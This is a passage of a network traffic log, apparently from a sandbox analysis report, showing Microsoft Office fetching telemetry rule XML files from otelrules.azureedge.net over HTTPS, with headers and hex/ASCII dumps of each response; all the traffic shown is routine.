2024-11-18 22:04:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:17 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4901c883-e01e-0020-44af-36de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220417Z-16547b76f7fp6s5dhC1DFWe28g00000003ng00000000f5zh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:17 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:17 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 73840edb-001e-0034-7def-39dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220417Z-16547b76f7fmcv27hC1DFWgpcg000000056g00000000d72n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:17 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:17 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:17 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220417Z-16547b76f7fjx5nrhC1DFW4dsc00000003kg00000000f7pn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:17 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:17 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220417Z-16547b76f7fbkfmzhC1DFWm9tw0000000640000000001x2w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:17 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 36c9bc1a-b01e-003e-0509-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220417Z-r18f44ddb694v9hbhC1DFW4shn00000000m00000000037vq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:18 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:19 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:18 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220418Z-r18f44ddb699qlj8hC1DFWad8c00000000gg0000000055sh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:19 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:18 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:18 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220418Z-16547b76f7fl5zvnhC1DFWtk9g00000004wg000000005ezm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:18 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:18 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220418Z-1866b5c5fbbnjgfwhC1DFW3usc00000001pg00000000fh2x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:18 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 57eb6011-f01e-003f-70b3-39d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220418Z-16547b76f7f6nr89hC1DFWz7ug00000002n000000000whfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220418Z-16547b76f7ffqpvqhC1DFWwf3n00000000x0000000003q77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:19 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:19 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220419Z-1866b5c5fbbg9tvxhC1DFWy9mg000000025g00000000vdtp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
